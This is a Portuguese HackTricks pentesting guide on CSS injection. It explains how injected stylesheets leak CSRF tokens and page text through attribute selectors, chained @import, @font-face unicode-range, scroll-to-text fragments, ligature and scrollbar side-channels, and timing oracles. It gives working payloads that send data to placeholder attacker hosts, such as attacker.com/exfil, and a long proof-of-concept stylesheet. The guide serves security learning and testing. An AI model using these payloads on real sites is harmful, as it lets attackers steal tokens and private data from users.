hacktricks/pentesting-web/xs-search/css-injection/README.md

453 lines
27 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Injeção de CSS
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Injeção de CSS
### Seletor de Atributo
A principal técnica para exfiltrar informações via Injeção de CSS é tentar **combinar um texto com CSS** e, caso esse **texto exista**, **carregar algum recurso externo, como:**
```css
input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}
```
No entanto, observe que essa técnica não funcionará se, no exemplo, o **csrf name input** for do **tipo hidden** (e geralmente são), porque o fundo não será carregado.\
No entanto, você pode **contornar** esse impedimento fazendo com que, em vez de fazer o elemento oculto carregar um fundo, **simplesmente faça qualquer coisa depois dele carregar o fundo:**
```css
input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
```
Algum exemplo de código para explorar isso: [https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e)
#### Pré-requisitos
1. A injeção de CSS precisa permitir cargas úteis suficientemente longas
2. Capacidade de **enquadrar a página para disparar a reavaliação de CSS de cargas úteis recém-geradas**
3. Capacidade de usar **imagens hospedadas externamente** (pode ser bloqueado por CSP)
### Seletor de Atributo Cego
Como [**explicado neste post**](https://portswigger.net/research/blind-css-exfiltration), é possível combinar os seletores **`:has`** e **`:not`** para identificar conteúdo mesmo de elementos cegos. Isso é muito útil quando você não tem ideia do que está dentro da página web carregando a injeção de CSS.\
Também é possível usar esses seletores para extrair informações de vários blocos do mesmo tipo como em:
```html
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background:url(/m);
}
</style>
<input name=mytoken value=1337>
<input name=myname value=gareth>
```
Combinando isso com a seguinte técnica **@import**, é possível exfiltrar muitas **informações usando injeção de CSS em páginas cegas com** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
### @import
A técnica anterior tem algumas desvantagens, verifique os pré-requisitos. Você precisa ser capaz de **enviar múltiplos links para a vítima**, ou precisa ser capaz de **iframe a página vulnerável à injeção de CSS**.
No entanto, existe outra técnica inteligente que usa **CSS `@import`** para melhorar a qualidade da técnica.
Isso foi mostrado pela primeira vez por [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) e funciona assim:
Em vez de carregar a mesma página várias vezes com dezenas de payloads diferentes cada vez (como na técnica anterior), vamos **carregar a página apenas uma vez e apenas com um import para o servidor do atacante** (este é o payload para enviar à vítima):
```css
@import url('//attacker.com:5001/start?');
```
1. A importação vai **receber algum script CSS** dos atacantes e o **navegador irá carregá-lo**.
2. A primeira parte do script CSS que o atacante enviará é **outro `@import` para o servidor do atacante novamente.**
3. O servidor do atacante não responderá a esta solicitação ainda, pois queremos vazar alguns caracteres e depois responder a esta importação com o payload para vazar os próximos.
4. A segunda e maior parte do payload será um **payload de vazamento de seletor de atributo**
5. Isso enviará ao servidor do atacante o **primeiro caractere do segredo e o último**
6. Uma vez que o servidor do atacante tenha recebido o **primeiro e último caractere do segredo**, ele **responderá a importação solicitada na etapa 2**.
7. A resposta será exatamente a mesma que as **etapas 2, 3 e 4**, mas desta vez tentará **encontrar o segundo caractere do segredo e então o penúltimo**.
O atacante **continuará esse loop até conseguir vazar completamente o segredo**.
Você pode encontrar o [**código original de Pepe Vila para explorar isso aqui**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) ou pode encontrar quase o [**mesmo código, mas comentado aqui**.](./#css-injection)
{% hint style="info" %}
O script tentará descobrir 2 caracteres cada vez (do início e do fim) porque o seletor de atributo permite fazer coisas como:
```css
/* value^= to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
/* value$= to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
```
Isso permite que o script vaze o segredo mais rapidamente.
{% endhint %}
{% hint style="warning" %}
Às vezes, o script **não detecta corretamente que o prefixo + sufixo descoberto já é a flag completa** e continuará avançando (no prefixo) e retrocedendo (no sufixo) e, em algum momento, travará.\
Não se preocupe, apenas verifique o **output** porque **você pode ver a flag lá**.
{% endhint %}
### Outros seletores
Outras formas de acessar partes do DOM com **seletores CSS**:
* **`.class-to-search:nth-child(2)`**: Isso procurará o segundo item com a classe "class-to-search" no DOM.
* **`:empty`** seletor: Usado por exemplo em [**este writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
```css
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }
```
### XS-Search baseado em erro
**Referência:** [Ataque baseado em CSS: Abusando do unicode-range de @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC por @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
Basicamente, a ideia principal é **usar uma fonte personalizada de um endpoint controlado por nós** em um **texto que será mostrado apenas se o recurso não puder ser carregado**.
```html
<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://ourenpoint.com/?leak);
unicode-range:U+0041;
}
#poc0{
font-family: 'poc';
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
```
### Estilizando Fragmento de Rolagem para Texto
Quando um **fragmento de URL tem como alvo um elemento**, a pseudo-classe [**`:target`**](https://drafts.csswg.org/selectors-4/#the-target-pseudo) **pode ser usada** para selecioná-lo, mas **`::target-text` não corresponde a nada**. Ela só corresponde a texto que é diretamente alvo do \[fragmento].
Portanto, um atacante poderia usar o fragmento **Scroll-to-text** e, se **algo for encontrado** com esse texto, podemos **carregar um recurso** (via **injeção de HTML**) do servidor do atacante para indicar isso:
```css
:target::before { content : url(target.png) }
```
Um exemplo deste ataque poderia ser:
{% code overflow="wrap" %}
```
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
```
{% endcode %}
O que consiste em abusar de uma **injeção de HTML enviando o código**:
{% code overflow="wrap" %}
```css
<style>:target::before { content : url(http://attackers-domain/?confirmed_existence_of_Administrator_username) }</style>
```
{% endcode %}
com o fragmento de rolagem para texto: **`#:~:text=Administrator`**
Se a palavra Administrator for encontrada, o recurso indicado será carregado.
Existem três principais mitigações:
1. **STTF só pode corresponder a palavras ou frases em uma página da web**, teoricamente tornando impossível o vazamento de segredos ou tokens aleatórios (a menos que decomponhamos o segredo em parágrafos de uma letra).
2. É **restrito a contextos de navegação de nível superior**, então não funcionará em um iframe, tornando o ataque **visível para a vítima**.
3. **É necessário um gesto de ativação do usuário para que o STTF funcione**, então apenas navegações que são resultado de ações do usuário são exploráveis, o que diminui bastante a possibilidade de automatizar o ataque sem interação do usuário. No entanto, existem certas condições que o autor do post do blog acima descobriu que facilitam a automação do ataque. Outro caso semelhante será apresentado no PoC#3.
1. Existem alguns **bypasses** para isso, como **engenharia social**, ou **forçar extensões comuns de navegador a interagir**.
Para mais informações, confira o relatório original: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
Você pode verificar um [**exploit usando esta técnica para um CTF aqui**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
Você pode especificar **fontes externas para valores unicode específicos** que só serão **coletadas se esses valores unicode estiverem presentes** na página. Por exemplo:
```html
<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>
<p id="sensitive-information">AB</p>htm
```
Ao acessar esta página, Chrome e Firefox buscam "?A" e "?B" porque o nó de texto de informações sensíveis contém os caracteres "A" e "B". No entanto, Chrome e Firefox não buscam "?C" porque não contém "C". Isso significa que conseguimos ler "A" e "B".
### Exfiltração de nó de texto (I): ligaduras <a href="#text-node-exfiltration-i-ligaduras" id="text-node-exfiltration-i-ligaduras"></a>
**Referência:** [Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
Podemos extrair o texto contido em um nó com uma técnica que combina **ligaduras de fonte** e a **detecção de mudanças de largura**. A ideia principal por trás dessa técnica é a criação de fontes que contêm uma ligadura predefinida com **tamanho grande** e o uso de **mudanças de tamanho como oráculo**.
As fontes podem ser criadas como fontes SVG e depois convertidas para woff com o fontforge. Em SVG, podemos definir a largura de um glifo através do atributo **horiz-adv-x**, então podemos construir algo como `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, sendo **XY uma sequência de dois caracteres**. **Se a sequência existir, ela será renderizada e o tamanho do texto mudará**. Mas... como podemos detectar essas mudanças?
Quando o atributo white-space é definido como **nowrap**, ele força o texto a não quebrar quando excede a largura do elemento pai. Nessa situação, uma **barra de rolagem horizontal aparecerá**. E podemos **definir o estilo dessa barra de rolagem**, então podemos detectar quando isso acontece **:)**
```css
body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://ourendpoint.com/?leak); }
```
Neste ponto, o ataque é claro:
1. Criar **fontes** para a combinação de **dois caracteres com largura enorme**
2. Detectar o **vazamento pelo truque da barra de rolagem**
3. Usando a primeira ligadura vazada como base, criar **novas combinações de 3 caracteres** (adicionando caracteres antes/depois)
4. **Detectar** a **ligadura de 3 caracteres**.
5. Repetir até **vazar o texto inteiro**
Ainda precisamos de um método melhorado para iniciar a iteração porque `<meta refresh=...` é subótimo. Você poderia usar o **truque CSS @import para otimizar o exploit**.
### Exfiltração de nó de texto (II): vazando o conjunto de caracteres com uma fonte padrão (sem necessidade de ativos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Referência:** [PoC usando Comic Sans por @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
Este truque foi divulgado nesta [**thread do Slackers**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with\_single\_css\_injection/). O conjunto de caracteres usado em um nó de texto pode ser vazado **usando as fontes padrão** instaladas no navegador: não são necessárias fontes externas ou personalizadas.
A chave é usar uma animação para **aumentar a largura do div de 0 até o final do texto**, o tamanho de um caractere de cada vez. Fazendo isso, podemos "dividir" o texto em duas partes: um "prefixo" (a primeira linha) e um "sufixo", então toda vez que o div aumenta sua largura, um novo caractere se move do "sufixo" para o "prefixo". Algo como:
**C**\
ADB
**CA**\
DB
**CAD**\
B
**CADB**
Quando um novo caractere vai para a primeira linha, **o truque do unicode-range é usado para detectar o novo caractere no prefixo**. Essa detecção é feita mudando a fonte para Comic Sans, cuja altura é superior, então uma **barra de rolagem vertical é acionada** (vazando o valor do caractere). Desta forma, podemos vazar cada caractere diferente uma vez. **Podemos detectar se um caractere é repetido, mas não qual caractere é repetido**.
{% hint style="info" %}
Basicamente, o **unicode-range é usado para detectar um caractere**, mas como não queremos carregar uma fonte externa, precisamos encontrar outra maneira.\
Quando o **caractere** é **encontrado**, ele é **atribuído** à fonte **Comic Sans pré-instalada**, o que **aumenta** o tamanho do caractere e **aciona uma barra de rolagem** que irá **vazar o caractere encontrado**.
{% endhint %}
Confira o código extraído do PoC:
```css
/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}
div::-webkit-scrollbar {
background: blue;
}
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
```
### Exfiltração de nó de texto (III): vazando o conjunto de caracteres com uma fonte padrão ao ocultar elementos (não requer ativos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Referência:** Isso é mencionado como [uma solução sem sucesso neste writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Este caso é muito semelhante ao anterior, no entanto, neste caso o objetivo de fazer com que caracteres específicos **sejam maiores que outros é para ocultar algo** como um botão para não ser pressionado pelo bot ou uma imagem que não será carregada. Assim, poderíamos medir a ação (ou falta dela) e saber se um caractere específico está presente no texto.
### Exfiltração de nó de texto (III): vazando o conjunto de caracteres pelo tempo de cache (não requer ativos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Referência:** Isso é mencionado como [uma solução sem sucesso neste writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Neste caso, poderíamos tentar vazar se um caractere está no texto carregando uma fonte falsa da mesma origem:
```css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
```
Se houver correspondência, a **fonte será carregada de `/static/bootstrap.min.css?q=1`**. Embora não seja carregada com sucesso, o **navegador deve armazená-la em cache**, e mesmo que não haja cache, existe um mecanismo de **304 não modificado**, então a **resposta deve ser mais rápida** do que outras coisas.
No entanto, se a diferença de tempo da resposta em cache e da não em cache não for grande o suficiente, isso não será útil. Por exemplo, o autor mencionou: No entanto, após testar, descobri que o primeiro problema é que a velocidade não é muito diferente, e o segundo problema é que o bot usa a flag `disk-cache-size=1`, o que é realmente pensado.
### Exfiltração de nó de texto (III): vazando o conjunto de caracteres pelo tempo de carregamento de centenas de "fontes" locais (não requerendo ativos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Referência:** Isso é mencionado como [uma solução sem sucesso neste writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Neste caso, você pode indicar ao **CSS para carregar centenas de fontes falsas** da mesma origem quando ocorrer uma correspondência. Dessa forma, você pode **medir o tempo** que leva e descobrir se um caractere aparece ou não com algo como:
```css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
```
E o código do bot é assim:
```python
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
```
```markdown
Portanto, assumindo que a fonte não corresponde, o tempo para obter a resposta ao visitar o bot deve ser de cerca de 30 segundos. Se houver uma correspondência, uma série de solicitações será enviada para obter a fonte, e a rede sempre terá algo, portanto, levará mais tempo para atender à condição de parada e obter a resposta. Assim, o tempo de resposta pode indicar se há uma correspondência.
## Referências
* [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
* [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
* [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
* [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
```